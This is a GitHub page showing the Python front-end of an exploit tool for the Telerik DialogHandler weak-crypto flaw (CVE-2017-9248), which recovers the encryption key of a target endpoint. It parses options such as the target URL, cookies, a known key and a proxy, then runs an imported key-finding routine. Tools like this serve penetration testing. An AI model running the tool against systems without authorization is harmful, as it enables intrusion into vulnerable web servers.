-
Notifications
You must be signed in to change notification settings - Fork 9
/
dp_cryptomg.py
executable file
·189 lines (160 loc) · 5.38 KB
/
dp_cryptomg.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
#!/usr/bin/env python3
import sys
import time
import threading
from lib.dpcryptolib import *
from lib.terminalview import *
from lib.simpleterminalview import *
from argparse import ArgumentParser
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
class multiThreadHandler:
def __init__(self, CO):
self.CO = CO
self.lock = threading.Lock()
def worker(self):
self.do_work(CO)
def do_work(self, CO):
CO.findKey()
def run(self):
t = threading.Thread(target=self.worker)
t.daemon = True
t.start()
return
def terminal_cleanup(terminal):
print(terminal.t.clear)
print(terminal.t.move_y(terminal.t.height // 2) + terminal.t.center("Exiting...").rstrip())
time.sleep(1)
print(terminal.t.clear)
terminal.cleanup()
sys.exit()
def main_usage():
print("dp_cryptomg.py v0.1.3")
print("Telerik DialogHandler Weak Crypto Exploit (CVE-2017-9248)")
print("@paulmmueller\n")
print("Black Lantern Security - https://www.blacklanternsecurity.com/\n")
if __name__ == "__main__":
parser = ArgumentParser(usage=main_usage())
parser.add_argument("url", help="The target URL")
# parser.add_argument("-h", "--help", help="print the help screen and exit", required=False, action="store_true")
parser.add_argument("-d", "--debug", help="Enable debugging mode", required=False, action="store_true")
parser.add_argument("-c", "--cookie", help="Add optional cookie header to every request", required=False)
parser.add_argument("-k", "--known-key", help="The partial or complete known key, in HEX format", required=False)
parser.add_argument("-v", "--version", help="Specify the Telerik version, if known", required=False)
parser.add_argument("-l", "--length", help="The length of the key, if known", required=False)
parser.add_argument("-p", "--proxy", help="Optionally set an HTTP proxy", required=False)
parser.add_argument("-s", "--simple", help="Turn off the fancy interface", required=False, action="store_true")
parser.add_argument(
"-S",
"--super-simple",
help="Turn off the fancy interface and show minimal output",
required=False,
action="store_true",
)
parser.add_argument(
"-q",
"--quick-check",
help="Only detect likely vulnerability and skip exploitation (forces simple mode)",
required=False,
action="store_true",
)
if len(sys.argv) < 2:
parser.print_help()
sys.exit(1)
args = parser.parse_args()
args, unknown = parser.parse_known_args()
if "Telerik.Web.UI.DialogHandler".lower() in args.url.lower():
handler = "DH"
elif "Telerik.Web.UI.SpellCheckHandler".lower() in args.url.lower():
handler = "SP"
else:
print("Invalid URL")
sys.exit()
if args.cookie:
cookie = args.cookie
else:
cookie = None
debug = False
if args.debug:
debug = True
if args.known_key:
knownkey = bytes.fromhex(args.known_key)
else:
knownkey = b""
if args.length:
keylength = int(args.length)
else:
keylength = 48
if args.version:
version = args.version
else:
version = None
if args.proxy:
proxy = args.proxy
else:
proxy = None
if args.simple:
simple_mode = True
else:
simple_mode = False
if args.super_simple:
simple_mode = True
super_simple_mode = True
else:
super_simple_mode = False
if args.quick_check:
quick_check = True
simple_mode = True
else:
quick_check = False
if not simple_mode:
terminal = TerminalView()
else:
terminal = SimpleTerminalView(quick_check=quick_check)
CO = CryptOMG(
debug=debug,
url=args.url,
handler=handler,
cookie=cookie,
knownkey=knownkey,
version=version,
length=keylength,
proxy=proxy,
terminal=terminal,
mthlock=None,
quick_check=quick_check,
)
terminal.cryptomg = CO
if not simple_mode:
mth = multiThreadHandler(CO)
CO.mthlock = mth.lock
terminal.t.init_window()
with terminal.t.cbreak(), terminal.t.hidden_cursor():
keypress = ""
exit = False
mth_started = False
while exit == False:
while keypress != "q":
if not mth_started:
mth.run()
mth_started = True
keypress = terminal.t.inkey(timeout=0)
terminal.initial_draw()
keypress = terminal.t.inkey(timeout=5)
mth.CO.kill = True
keypress = ""
time.sleep(0.6)
print(terminal.t.clear)
print(
terminal.t.move_y(terminal.t.height // 2)
+ terminal.t.center("Press 'q' to confirm exit. Press any other key to continue").rstrip()
)
val = terminal.t.inkey()
if val.lower() == "q":
exit = True
terminal_cleanup(terminal)
else:
if super_simple_mode:
terminal.super_simple = True
terminal.initial_draw()
CO.findKey()